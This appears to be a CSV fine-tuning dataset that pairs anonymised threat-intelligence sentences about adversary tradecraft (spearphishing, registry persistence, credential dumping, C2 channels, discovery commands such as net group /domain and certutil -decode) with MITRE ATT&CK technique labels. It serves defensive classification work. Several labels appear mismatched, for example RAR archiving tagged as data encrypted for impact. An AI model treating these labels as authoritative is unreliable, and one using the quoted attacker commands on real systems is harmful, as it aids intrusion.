has attempted to get users to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails.,['T1204 - User Execution'],fine_tune
has attempted to get users to execute malware via social media and spearphishing emails.,['T1204 - User Execution'],fine_tune
has attempted to get users to launch a malicious Microsoft Word attachment delivered via a spearphishing email.,['T1204 - User Execution'],fine_tune
has attempted to get users to launch malicious Microsoft Word attachments delivered via spearphishing emails.,['T1204 - User Execution'],fine_tune
has attempted to get users to open malicious files by sending spearphishing emails with attachments to victims.,['T1204 - User Execution'],fine_tune
has attempted to get victims to open malicious files sent via email as part of spearphishing campaigns.,['T1204 - User Execution'],fine_tune
has attempted to get victims to open malicious Microsoft Word attachment sent via spearphishing.,['T1204 - User Execution'],fine_tune
has attempted to lure users to execute a malicious dropper delivered via a spearphishing attachment.,['T1204 - User Execution'],fine_tune
has attempted to map to C$ on enumerated hosts to test the scope of their current credentials/context.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
has beaconed to its C2 over port 443.,['T1043 - Commonly Used Port'],fine_tune
has been delivered through compromised sites acting as watering holes.,['T1189 - Drive-by Compromise'],fine_tune
has been known to add created accounts to local admin groups to maintain elevated access.,['T1098 - Account Manipulation'],fine_tune
has been known to brute force password hashes to be able to leverage plain text credentials.,['T1110 - Brute Force'],fine_tune
"has been known to create or enable accounts, such as support_388945a0.",['T1136 - Create Account'],fine_tune
has been known to pack their tools.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
has been known to remove indicators of compromise from tools.,['T1027.005 - Indicator Removal from Tools'],fine_tune
has been known to stage files for exfiltration in a single location.,['T1074 - Data Staged'],fine_tune
has been known to use credential dumping.,['T1003 - OS Credential Dumping'],fine_tune
has been known to use multiple backdoors per campaign.,['T1108 - Redundant Access'],fine_tune
has been launched by starting iexplore.exe and replacing it with 's payload.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
has been loaded onto Exchange servers and disguised as an ISAPI filter (DLL file). The IIS w3wp.exe process then loads the malicious DLL.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
has been loaded through DLL side-loading of a legitimate Citrix executable that is set to persist through the registry run key location: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ssonsvr.exe,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
has been observed being used to download  and the Cobalt Strike Beacon payload onto victims.,['T1105 - Ingress Tool Transfer'],fine_tune
has been observed using SQL injection to gain access to systems.,['T1190 - Exploit Public-Facing Application'],fine_tune
has been packed with the UPX packer.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
has been used to decode binaries hidden inside certificate files as Base64 information.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
has been used to execute remote commands.,['T1059 - Command and Scripting Interpreter'],fine_tune
has built in commands to identify a host’s IP address and find out other network configuration settings by viewing connected sessions.,['T1016 - System Network Configuration Discovery'],fine_tune
has bypassed UAC.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
has checked for the local admin group domain admin group and Exchange Trusted Subsystem groups using the commands net group Exchange Trusted Subsystem /domain and net group domain admins /domain.,['T1069 - Permission Groups Discovery'],fine_tune
has cleared logs during post compromise cleanup activities.,['T1070 - Indicator Removal on Host'],fine_tune
has cleared select event log entries.,['T1070 - Indicator Removal on Host'],fine_tune
"has collected a list of files from the victim and uploaded it to its C2 server, and then created a new list of specific files to steal.",['T1083 - File and Directory Discovery'],fine_tune
has collected data from victims' local systems.,['T1005 - Data from Local System'],fine_tune
has collected emails from victim Microsoft Exchange servers.,['T1114 - Email Collection'],fine_tune
has collected files from a local victim.,['T1005 - Data from Local System'],fine_tune
has collected information from Microsoft SharePoint services within target networks.,['T1213 - Data from Information Repositories'],fine_tune
has commands to delete files and persistence mechanisms from the victim.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
has commands to enumerate all storage devices and to find all files that start with a particular string.,['T1083 - File and Directory Discovery'],fine_tune
"has commands to get the current directory name as well as the size of a file. It also has commands to obtain information about logical drives, drive type, and free space.",['T1083 - File and Directory Discovery'],fine_tune
has commands to get the current user's name and SID.,['T1033 - System Owner/User Discovery'],fine_tune
"has commands to get the time the machine was built, the time, and the time zone.",['T1124 - System Time Discovery'],fine_tune
has compressed and encrypted data into password-protected RAR archives prior to exfiltration.,['T1486 - Data Encrypted for Impact'],fine_tune
has compressed data into password-protected RAR archives prior to exfiltration.,['T1560 - Archive Collected Data'],fine_tune
has compressed files before exfiltration using TAR and RAR.,['T1560 - Archive Collected Data'],fine_tune
has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments to recipients.,['T1598.002 - Spearphishing Attachment'],fine_tune
has conducted port scans on a host.,['T1046 - Network Service Discovery'],fine_tune
has connected to C2 servers through proxies.,['T1090 - Proxy'],fine_tune
"has copied its backdoor across open network shares, including ADMIN$, C$WINDOWS, D$WINDOWS, and E$WINDOWS.",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
has created a scheduled task named “AdobeFlashSync” to establish persistence.,['T1036 - Masquerading'],fine_tune
has created forged Kerberos Ticket Granting Ticket (TGT) and Ticket Granting Service (TGS) tickets to maintain administrative access.,['T1550.003 - Use Alternate Authentication Material: Pass the Ticket'],fine_tune
has created new services to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
has created Windows tasks to establish persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
has deleted and overwrote files to cover tracks.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
has deleted existing logs and exfiltrated file archives from a victim.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
has deleted files associated with their payload after execution.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
has deleted Registry keys during post compromise cleanup activities.,['T1112 - Modify Registry'],fine_tune
has deleted tmp and prefetch files during post compromise cleanup activities.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
has delivered  and  by executing PowerShell commands through DDE in Word documents.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
"has delivered malicious links and macro-enabled documents that required targets to click the ""enable content"" button to execute the payload on the system.",['T1204 - User Execution'],fine_tune
has delivered zero-day exploits and malware to victims via targeted emails containing a link to malicious content hosted on an uncommon Web server.,['T1598.003 - Spearphishing Link'],fine_tune
has delivered zero-day exploits and malware to victims via targeted emails containing malicious attachments.,['T1598.002 - Spearphishing Attachment'],fine_tune
has deployed a bootkit along with  to ensure its persistence on the victim. The bootkit shares code with some variants of .,['T1542.003 - Bootkit'],fine_tune
has deployed backup web shells and obtained OWA account credentials during intrusions that it subsequently used to attempt to regain access when evicted from a victim network.,['T1108 - Redundant Access'],fine_tune
has deployed Meterpreter stagers and SplinterRAT instances in the victim network after moving laterally.,['T1105 - Ingress Tool Transfer'],fine_tune
"has detached network shares after exfiltrating files, likely to evade detection.",['T1070.005 - Indicator Removal on Host: Network Share Connection Removal'],fine_tune
has detected security tools.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
has disabled host-based firewalls. The group has also globally opened port 3389.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
has distributed targeted emails containing links to malicious documents with embedded macros.,['T1598.003 - Spearphishing Link'],fine_tune
has distributed targeted emails containing Word documents with embedded malicious macros.,['T1598.002 - Spearphishing Attachment'],fine_tune
has downloaded additional code and files from servers onto victims.,['T1105 - Ingress Tool Transfer'],fine_tune
"has downloaded additional files, including by using a first-stage downloader to contact the C2 server to obtain the second-stage implant.",['T1105 - Ingress Tool Transfer'],fine_tune
"has downloaded additional malware, including by using .",['T1105 - Ingress Tool Transfer'],fine_tune
"has downloaded additional malware to execute on the victim's machine, including by using a PowerShell script to launch shellcode that retrieves an additional payload.",['T1105 - Ingress Tool Transfer'],fine_tune
has downloaded additional scripts and files from adversary-controlled servers.  has also used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox.,['T1105 - Ingress Tool Transfer'],fine_tune
has downloaded second stage malware from compromised websites.,['T1105 - Ingress Tool Transfer'],fine_tune
"has dumped credentials, including by using .",['T1003 - OS Credential Dumping'],fine_tune
"has dumped credentials from victims. Specifically, the group has used the tool GET5 Penetrator to look for remote login and hard-coded credentials.",['T1003 - OS Credential Dumping'],fine_tune
"has encoded payloads with a single-byte XOR, both skipping the key itself and zeroing in an attempt to avoid exposing the key.",['T1027 - Obfuscated Files or Information'],fine_tune
"has encoded strings in its malware with base64 as well as with a simple, single-byte XOR obfuscation using key 0x40.",['T1027 - Obfuscated Files or Information'],fine_tune
"has encrypted and encoded data in its malware, including by using base64.",['T1027 - Obfuscated Files or Information'],fine_tune
"has encrypted C2 traffic with RC4, previously using keys of 88888888 and babybear.",['T1573 - Encrypted Channel'],fine_tune
has encrypted C2 traffic with RSA.,['T1573 - Encrypted Channel'],fine_tune
has encrypted documents and malicious executables.,['T1027 - Obfuscated Files or Information'],fine_tune
"has established persistence by creating autostart extensibility point (ASEP) Registry entries in the Run key and other Registry keys, as well as by creating shortcuts in the Internet Explorer Quick Start folder.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
has established persistence by setting the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key value for wdm to the path of the executable. It has also used the Registry entry HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run vpdn “%ALLUSERPROFILE%\%APPDATA%\vpdn\VPDN_LU.exe” to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
has established persistence by using S4U tasks as well as the Scheduled Task option in PowerShell Empire.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
has established persistence by using the Registry option in PowerShell Empire to add a Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
has exfiltrated data in HTTP POST headers.,['T1071 - Application Layer Protocol'],fine_tune
has exfiltrated data over FTP separately from its primary C2 channel over DNS.,['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
has exfiltrated files stolen from file shares.,['T1039 - Data from Network Shared Drive'],fine_tune
has exfiltrated files stolen from local systems.,['T1005 - Data from Local System'],fine_tune
has exploited Adobe Flash vulnerability CVE-2018-4878 for execution.,['T1203 - Exploitation for Client Execution'],fine_tune
has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
has exploited Microsoft Word vulnerability CVE-2014-4114 for execution.,['T1203 - Exploitation for Client Execution'],fine_tune
has exploited Microsoft Word vulnerability CVE-2017-0199 for execution.,['T1203 - Exploitation for Client Execution'],fine_tune
has exploited the CVE-2016-0167 local vulnerability.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
has functionality to copy itself to network shares.,['T1080 - Taint Shared Content'],fine_tune
has functionality to remove Registry Run key persistence as a cleanup procedure.,['T1112 - Modify Registry'],fine_tune
has gathered hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems.,['T1187 - Forced Authentication'],fine_tune
has gathered information about local network connections using .,['T1049 - System Network Connections Discovery'],fine_tune
has infected victims by tricking them into visiting compromised watering hole websites.,['T1189 - Drive-by Compromise'],fine_tune
has infected victims using watering holes.,['T1189 - Drive-by Compromise'],fine_tune
has injected SMB URLs into malicious Word spearphishing attachments to initiate .,['T1221 - Template Injection'],fine_tune
"has inserted garbage characters into code, presumably to avoid anti-virus detection.",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
has installed updates and new malware on victims.,['T1105 - Ingress Tool Transfer'],fine_tune
has interacted with compromised systems to browse and copy files through its graphical user interface in  sessions.,['T1061 - Graphical User Interface'],fine_tune
has keylogging functionality.,['T1056 - Input Capture'],fine_tune
has leveraged a zero-day vulnerability to escalate privileges.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
has leveraged multiple types of spearphishing in order to attempt to get a user to open links and attachments.,['T1204 - User Execution'],fine_tune
has masqueraded as legitimate Adobe Content Management System files.,['T1036 - Masquerading'],fine_tune
has masqueraded as legitimate software update packages such as Adobe Acrobat Reader and Intel.,['T1036 - Masquerading'],fine_tune
has modules that are capable of capturing audio.,['T1123 - Audio Capture'],fine_tune
has obfuscated code using base64 and gzip compression.,['T1027 - Obfuscated Files or Information'],fine_tune
has obfuscated DLLs and functions using dummy API calls inserted between real instructions.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
"has obfuscated strings in  by base64 encoding, and then encrypting them.",['T1027 - Obfuscated Files or Information'],fine_tune
has packed malware payloads before delivery to victims.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"has performed C2 using DNS via A, OPT, and TXT records.",['T1071 - Application Layer Protocol'],fine_tune
has performed credential dumping with  and Lazagne.,['T1003 - OS Credential Dumping'],fine_tune
has performed DLL search order hijacking to execute their payload.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"has performed screen captures of victims, including by using a tool, scr.exe (which matched the hash of ScreenUtil).",['T1113 - Screen Capture'],fine_tune
has performed timestomping on victim files.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
has received C2 instructions from user profiles created on legitimate websites such as Github and TechNet.,['T1102 - Web Service'],fine_tune
has registered a Windows shell script under the Registry key HKCU\Environment\UserInitMprLogonScript to establish persistence.,['T1037 - Boot or Logon Initialization Scripts'],fine_tune
has registered itself as a scheduled task to run each time the current user logs in.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
has registered itself as a service to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"has registered its persistence module on domain controllers as a Windows LSA (Local System Authority) password filter to dump credentials any time a domain, local user, or administrator logs in or changes a password.",['T1003 - OS Credential Dumping'],fine_tune
"has retrieved internal documents from machines inside victim environments, including by using  to stage documents before.",['T1005 - Data from Local System'],fine_tune
has run a keylogger plug-in on a victim.,['T1056 - Input Capture'],fine_tune
has run a plug-in on a victim to spread through the local network by using  and accessing admin shares.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
has run hostname and systeminfo on a victim.,['T1082 - System Information Discovery'],fine_tune
"has run net user, net user /domain, net group “domain admins” /domain, and net group “Exchange Trusted Subsystem” /domain to get account listings on a victim.",['T1087 - Account Discovery'],fine_tune
has run whoami on a victim.,['T1033 - System Owner/User Discovery'],fine_tune
has sent a C2 response that was base64-encoded.,['T1132 - Data Encoding'],fine_tune
has sent malicious Office documents via email as part of spearphishing campaigns as well as executables disguised as documents.,['T1598.002 - Spearphishing Attachment'],fine_tune
has sent malicious Word OLE compound documents to victims.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
has sent malware that required users to hit the enable button in Microsoft Excel to allow an .iqy file to be downloaded.,['T1204 - User Execution'],fine_tune
has sent spearphishing attachments attempting to get a user to open them.,['T1204 - User Execution'],fine_tune
"has sent spearphishing emails with malicious attachments, including .rtf, .doc, and .xls files.",['T1598.002 - Spearphishing Attachment'],fine_tune
"has sent spearphishing emails with various attachment types to corporate and personal email accounts of victim organizations. Attachment types have included .rtf, .doc, .xls, archives containing LNK files, and password protected archives containing .exe and .scr executables.",['T1598.002 - Spearphishing Attachment'],fine_tune
has sent Word OLE compound documents with malicious obfuscated VBA macros that will run upon user execution. The group has also used an exploit toolkit known as Threadkit that launches .bat files.,['T1064 - Scripting'],fine_tune
"has several modules that search the Windows Registry for stored credentials: Get-UnattendedInstallFile, Get-Webconfig, Get-ApplicationHost, Get-SiteListPassword, Get-CachedGPPPassword, and Get-RegistryAutoLogon.",['T1552.002 - Unsecured Credentials: Credentials in Registry'],fine_tune
has sometimes used drive-by attacks against vulnerable browser plugins.,['T1189 - Drive-by Compromise'],fine_tune
has staged encrypted archives for exfiltration on Internet-facing servers that had previously been compromised with .,['T1074 - Data Staged'],fine_tune
has targeted victims using spearphishing emails with malicious Microsoft Word attachments.,['T1598.002 - Spearphishing Attachment'],fine_tune
has targeted victims with spearphishing emails containing malicious Microsoft Word documents.,['T1598.002 - Spearphishing Attachment'],fine_tune
has tested malware samples to determine AV detection and subsequently modified the samples to ensure AV evasion.,['T1027.005 - Indicator Removal from Tools'],fine_tune
has the ability to create a reverse shell.,['T1059 - Command and Scripting Interpreter'],fine_tune
has the ability to discover and manipulate Windows services.,['T1007 - System Service Discovery'],fine_tune
has the ability to download and execute additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
has the ability to download files.,['T1105 - Ingress Tool Transfer'],fine_tune
has the ability to enumerate drive types.,['T1083 - File and Directory Discovery'],fine_tune
has the ability to enumerate processes.,['T1057 - Process Discovery'],fine_tune
has the ability to enumerate system information.,['T1082 - System Information Discovery'],fine_tune
has the ability to execute shell commands.,['T1059 - Command and Scripting Interpreter'],fine_tune
has the ability to identify any anti-virus installed on the infected system.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
has the ability to initiate keylogging and screen captures.,['T1113 - Screen Capture'],fine_tune
has the ability to list processes on the system.,['T1057 - Process Discovery'],fine_tune
has the ability to modify the Registry.,['T1112 - Modify Registry'],fine_tune
has the ability to obtain screenshots of the compromised system.,['T1113 - Screen Capture'],fine_tune
has the ability to remove Registry entries that it created during execution.,['T1070 - Indicator Removal on Host'],fine_tune
has the ability to scan for security tools such as firewalls and antivirus tools.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
has the ability to search for a given filename on a victim.,['T1083 - File and Directory Discovery'],fine_tune
has the ability to upload and download files from its C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
has the capability to access the webcam on the victim’s machine.,['T1125 - Video Capture'],fine_tune
has the capability to add its own account to the victim's machine.,['T1136 - Create Account'],fine_tune
has the capability to capture audio from a victim machine.,['T1123 - Audio Capture'],fine_tune
has the capability to capture keystrokes.,['T1056 - Input Capture'],fine_tune
has the capability to capture screenshots.,['T1113 - Screen Capture'],fine_tune
has the capability to capture video from a victim machine.,['T1125 - Video Capture'],fine_tune
has the capability to communicate over a backup channel via plus.google.com.,['T1008 - Fallback Channels'],fine_tune
has the capability to create a remote shell.,['T1059 - Command and Scripting Interpreter'],fine_tune
has the capability to create a remote shell and execute specified commands.,['T1059 - Command and Scripting Interpreter'],fine_tune
has the capability to create a reverse shell.,['T1059 - Command and Scripting Interpreter'],fine_tune
has the capability to create a reverse shell on victims.,['T1059 - Command and Scripting Interpreter'],fine_tune
has the capability to delete files off the victim’s machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
has the capability to delete local files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
has the capability to discover processes.,['T1057 - Process Discovery'],fine_tune
has the capability to download a file to the victim from the C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
has the capability to download files.,['T1105 - Ingress Tool Transfer'],fine_tune
has the capability to download files from the C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
has the capability to enumerate files.,['T1083 - File and Directory Discovery'],fine_tune
has the capability to execute the command ipconfig /all.,['T1016 - System Network Configuration Discovery'],fine_tune
has the capability to execute the command net start to interact with services.,['T1007 - System Service Discovery'],fine_tune
"has the capability to execute ver, systeminfo, and gpresult commands.",['T1082 - System Information Discovery'],fine_tune
has the capability to gather the IP address from the victim's machine.,['T1016 - System Network Configuration Discovery'],fine_tune
has the capability to gather the system’s hostname and OS version.,['T1082 - System Information Discovery'],fine_tune
has the capability to gather the username from the victim's machine.,['T1033 - System Owner/User Discovery'],fine_tune
has the capability to gather the victim's current directory.,['T1083 - File and Directory Discovery'],fine_tune
has the capability to gather the victim's proxy information.,['T1016 - System Network Configuration Discovery'],fine_tune
has the capability to identify remote hosts on connected networks.,['T1018 - Remote System Discovery'],fine_tune
has the capability to log keystrokes from the victim’s machine.,['T1056 - Input Capture'],fine_tune
has the capability to obtain a listing of running processes (including loaded modules).,['T1057 - Process Discovery'],fine_tune
has the capability to obtain file and directory listings.,['T1083 - File and Directory Discovery'],fine_tune
has the capability to open a remote shell and run basic commands.,['T1059 - Command and Scripting Interpreter'],fine_tune
has the capability to retrieve information about groups.,['T1069 - Permission Groups Discovery'],fine_tune
has the capability to retrieve information about shares on remote hosts.,['T1135 - Network Share Discovery'],fine_tune
has the capability to retrieve information about the OS.,['T1082 - System Information Discovery'],fine_tune
has the capability to retrieve information about users on remote hosts.,['T1087 - Account Discovery'],fine_tune
has the capability to scan for open ports on hosts in a connected network.,['T1046 - Network Service Discovery'],fine_tune
has the capability to schedule remote AT jobs.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
has the capability to take screenshots of the victim’s machine.,['T1113 - Screen Capture'],fine_tune
has the capability to use rm -rf to remove folders and files from the victim's machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
has transferred files using the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel.,['T1105 - Ingress Tool Transfer'],fine_tune
has tunneled RDP backdoors over port 443.,['T1043 - Commonly Used Port'],fine_tune
"has updated and modified its malware, resulting in different hash values that evade detection.",['T1027.005 - Indicator Removal from Tools'],fine_tune
"has used , a RAT that uses HTTP to communicate.",['T1071 - Application Layer Protocol'],fine_tune
has used a Batch file to automate frequently executed post compromise cleanup activities.,['T1064 - Scripting'],fine_tune
has used a batch script that adds a Registry Run key to establish malware persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
has used a DLL known as SeDll to decrypt and execute other JavaScript backdoors.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
has used a global service provider's IP as a proxy for C2 traffic from a victim.,['T1090 - Proxy'],fine_tune
has used a keylogging tool called KEYPUNCH.,['T1056 - Input Capture'],fine_tune
has used a keylogging tool that records keystrokes in encrypted files.,['T1056 - Input Capture'],fine_tune
has used a Metasploit PowerShell module to download and execute shellcode and to set up a local listener.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"has used a Metasploit PowerShell module to download and execute shellcode and to set up a local listener.  has also used scripting to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files.",['T1064 - Scripting'],fine_tune
has used an audio capturing utility known as SOUNDWAVE that captures microphone input.,['T1123 - Audio Capture'],fine_tune
has used Android backdoors capable of enumerating specific files on the infected devices.,['T1083 - File and Directory Discovery'],fine_tune
has used Android backdoors capable of exfiltrating specific files directly from the infected devices.,['T1005 - Data from Local System'],fine_tune
has used  and  to register a scheduled task to execute malware during lateral movement.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
has used an RSS feed on Livejournal to update a list of encrypted C2 server names.,['T1102 - Web Service'],fine_tune
has used AOL Instant Messenger for C2.,['T1102 - Web Service'],fine_tune
has used appcmd.exe to disable logging on a victim server.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
has used application shim databases for persistence.,['T1546.011 - Event Triggered Execution: Application Shimming'],fine_tune
has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
has used a scheduled task for persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
has used a script (atexec.py) to execute a command on a target machine via Task Scheduler.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
has used a tool known as RemoteExec (similar to ) to remotely execute batch scripts and binaries.,['T1569.002 - System Services: Service Execution'],fine_tune
"has used a tool that can obtain info about local and global group users, power users, and administrators.",['T1087 - Account Discovery'],fine_tune
has used a tool to capture screenshots.,['T1113 - Screen Capture'],fine_tune
"has used a tool to dump credentials by injecting itself into lsass.exe and triggering with the argument ""dig."" The group has also used a tools to dump passwords from browsers.",['T1003 - OS Credential Dumping'],fine_tune
has used automated collection.,['T1119 - Automated Collection'],fine_tune
has used a variant of NanoCore RAT that communicates with its C2 server over port 6666.,['T1571 - Non-Standard Port'],fine_tune
has used batch scripting to automate execution of commands.,['T1064 - Scripting'],fine_tune
has used batch scripts and scheduled tasks to delete critical system files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
has used batch scripts in its malware to install persistence mechanisms.,['T1064 - Scripting'],fine_tune
has used bitsadmin.exe to download additional tools.,['T1197 - BITS Jobs'],fine_tune
has used brute force techniques to obtain credentials.,['T1110 - Brute Force'],fine_tune
has used C:\Windows\Debug and C:\Perflogs as staging directories.,['T1074 - Data Staged'],fine_tune
has used cmd.exe to execute commmands.,['T1059 - Command and Scripting Interpreter'],fine_tune
has used CMSTP.exe and a malicious INF to execute its  payload.,['T1218.003 - Signed Binary Proxy Execution: CMSTP'],fine_tune
has used code-signing certificates on its malware that are either forged due to weak keys or stolen.,['T1553.002 - Code Signing'],fine_tune
has used COM hijacking for persistence by replacing the legitimate MMDeviceEnumerator object with a payload.,['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],fine_tune
has used COM hijacking to establish persistence by hijacking a class named MMDeviceEnumerator and also by registering the payload as a Shell Icon Overlay handler COM object ({3543619C-D563-43f7-95EA-4DA7E1CC396A}).,['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],fine_tune
has used compromised credentials to access other systems on a victim network.,['T1078 - Valid Accounts'],fine_tune
has used compromised WordPress blogs as C2 servers.,['T1102 - Web Service'],fine_tune
has used credential dumping tools.,['T1003 - OS Credential Dumping'],fine_tune
has used credential dumping tools such as  and Lazagne to steal credentials to accounts logged into the compromised system and to Outlook Web Access.,['T1003 - OS Credential Dumping'],fine_tune
has used custom DNS Tunneling protocols for C2.,['T1095 - Non-Application Layer Protocol'],fine_tune
has used CVE-2014-6324 to escalate privileges.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
has used CVE-2015-4902 to bypass security features.,['T1211 - Exploitation for Defense Evasion'],fine_tune
has used Daniel Bohannon’s Invoke-Obfuscation framework. The group also used files with base64 encoded PowerShell commands.,['T1027 - Obfuscated Files or Information'],fine_tune
has used DLL search order hijacking.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
has used DLL side-loading.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
has used DLL side-loading to load malicious payloads.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"has used encoded PowerShell scripts uploaded to  installations to download and install , as well as to evade defenses.",['T1064 - Scripting'],fine_tune
has used encoded PowerShell scripts uploaded to  installations to download and install .  also used PowerShell scripts to evade defenses.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
has used exploits to increase their levels of rights and privileges.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
has used filenames and Registry key names associated with Windows Defender.,['T1036 - Masquerading'],fine_tune
"has used Flash Player (CVE-2016-4117, CVE-2018-4878) and Word (CVE-2017-0199) exploits for execution.",['T1203 - Exploitation for Client Execution'],fine_tune
"has used  for credential dumping, as well as Metasploit’s  NTDSGRAB module to obtain a copy of the victim's Active Directory database.",['T1003 - OS Credential Dumping'],fine_tune
"has used fragmented strings, environment variables, standard input (stdin), and native character-replacement functionalities to obfuscate commands.",['T1027 - Obfuscated Files or Information'],fine_tune
"has used HTTP, HTTPS, and DNS for command and control.",['T1071 - Application Layer Protocol'],fine_tune
"has used HTTP for C2, including sending error codes in Cookie headers.",['T1071 - Application Layer Protocol'],fine_tune
has used HTTP for C2.,['T1071 - Application Layer Protocol'],fine_tune
has used HTTP requests for command and control.,['T1071 - Application Layer Protocol'],fine_tune
has used  in a macro to decode base64-encoded content contained in a dropper document attached to an email. The group has used certutil -decode to decode files on the victim’s machine when dropping .,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
has used JavaScript that communicates over HTTP or HTTPS to attacker controlled domains to download additional frameworks.,['T1071 - Application Layer Protocol'],fine_tune
has used keyloggers that are also capable of dumping credentials.,['T1003 - OS Credential Dumping'],fine_tune
has used keylogging tools.,['T1056 - Input Capture'],fine_tune
has used legitimate access granted to Managed Service Providers in order to access victims of interest.,['T1199 - Trusted Relationship'],fine_tune
"has used legitimate VPN, RDP, Citrix, or VNC credentials to maintain access to a victim environment.","['T1078 - Valid Accounts', 'T1133 - External Remote Services']",fine_tune
has used macros in s as well as executed VBScripts on victim machines.,['T1064 - Scripting'],fine_tune
has used macros in Word documents that would download a second stage if executed.,['T1064 - Scripting'],fine_tune
has used malicious macros embedded inside Office documents to execute files.,['T1064 - Scripting'],fine_tune
has used Metasploit to perform reflective DLL injection in order to escalate privileges.,['T1055 - Process Injection'],fine_tune
has used Meterpreter to enumerate users on remote systems.,['T1033 - System Owner/User Discovery'],fine_tune
has used Mshta.exe to execute its  payload.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
has used mshta.exe to execute VBScript to execute malicious code on victim systems.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
"has used multiple software exploits for common client software, like Microsoft Word and Adobe Reader, to gain code execution as part of.",['T1203 - Exploitation for Client Execution'],fine_tune
"has used multiple types of scripting for execution, including JavaScript, JavaScript Scriptlets in XML, and VBScript.",['T1064 - Scripting'],fine_tune
has used net.exe in a script with net accounts /domain to find the password policy of a domain.,['T1201 - Password Policy Discovery'],fine_tune
"has used net group /domain, net localgroup administrators, net group “domain admins” /domain, and net group “Exchange Trusted Subsystem” /domain to find group permission settings on a victim.",['T1069 - Permission Groups Discovery'],fine_tune
has used netstat -an on a victim to get a listing of network connections.,['T1049 - System Network Connections Discovery'],fine_tune
has used net time to check the local time on a target system.,['T1124 - System Time Discovery'],fine_tune
has used net use to conduct internal discovery of systems. The group has also used quser.exe to identify existing RDP sessions on a victim.,['T1049 - System Network Connections Discovery'],fine_tune
"has used network scanning and enumeration tools, including .",['T1018 - Remote System Discovery'],fine_tune
has used ping to identify other machines of interest.,['T1018 - Remote System Discovery'],fine_tune
has used port 8080 for C2.,['T1043 - Commonly Used Port'],fine_tune
